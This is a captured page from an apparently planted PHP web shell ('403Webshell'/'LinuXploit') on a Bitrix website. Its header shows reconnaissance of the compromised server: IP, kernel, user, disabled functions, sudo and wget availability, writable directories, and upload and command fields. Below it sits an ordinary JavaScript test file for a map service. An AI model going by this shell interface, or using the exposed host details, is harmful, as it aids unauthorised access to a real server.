403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/osm/test/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/location/osm/test/mapservice.test.js
/* global assert */
import {ControlMode, Location} from 'location.core';
import MapService from '../src/mapservice';
import MapServiceStubFactory from './stubs/mapservicestubfactory';
import MapStub from './stubs/mapstub';
import MarkerStub from './stubs/markerstub';

describe('MapService', () => {

	it('Should be a function', () => {
		assert(typeof MapService === 'function');
	});

	describe('set mode', () => {

		it('Should set mode', () => {
			const mapService = MapServiceStubFactory.create();
			mapService.mode = ControlMode.edit;
			assert.equal(mapService.mode, ControlMode.edit);
		});

		it('Should set marker draggable', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.marker = new MarkerStub();

			mapService.mode = ControlMode.edit;
			assert.equal(mapService.marker.draggable, true);
		});

		it('Should not set marker draggable', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.marker = new MarkerStub();

			mapService.mode = ControlMode.view;
			assert.equal(mapService.marker.draggable, false);
		});

		it('Should not set marker draggable', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.marker = new MarkerStub();

			mapService.mode = ControlMode.edit;
			assert.equal(mapService.marker.draggable, true);
		});
	});

	describe('set location', () => {
		it('Should set location', () => {
			const mapService = MapServiceStubFactory.create();
			mapService.location = new Location({id: 666});
			assert.ok(mapService.location instanceof Location);
			assert.equal(mapService.location.id, 666);
		});

		it('Should set marker lat lon', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.map = new MapStub();
			mapService.marker = new MarkerStub();

			mapService.location = new Location({latitude: 111, longitude: 222});
			assert.equal(mapService.marker.lat, 111);
			assert.equal(mapService.marker.lon, 222);
		});

		it('Should add marker to map', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.map = new MapStub();
			mapService.marker = new MarkerStub();

			mapService.location = new Location();
			assert.ok(mapService.map instanceof MapStub);
		});

		it('Should pan map to', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.map = new MapStub();
			mapService.marker = new MarkerStub();

			mapService.location = new Location({latitude: 111, longitude: 222});
			assert.equal(mapService.map.lat, 111);
			assert.equal(mapService.map.lon, 222);
		});

		it('Should move marker from map if location === null', () => {
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.map = new MapStub();
			mapService.marker = new MarkerStub();
			mapService.marker.addTo(mapService.map);
			mapService.location = new Location({latitude: 111, longitude: 222});
			assert.equal(mapService.markert, null);
		});
	});

	describe('set zoom', () =>
	{
		it('Should set zoom', () =>
		{
			const mapService = MapServiceStubFactory.create();
			mapService.zoom = 10;
			assert.equal(mapService.zoom, 10);
		});

		it('Should set map zoom', () =>
		{
			const mapService = MapServiceStubFactory.create();

			// Inside the mapService.render()
			mapService.map = new MapStub();

			mapService.zoom = 10;
			assert.equal(mapService.map.zoom, 10);
		});

	});

});

Youez - 2016 - github.com/yon3zu
LinuXploit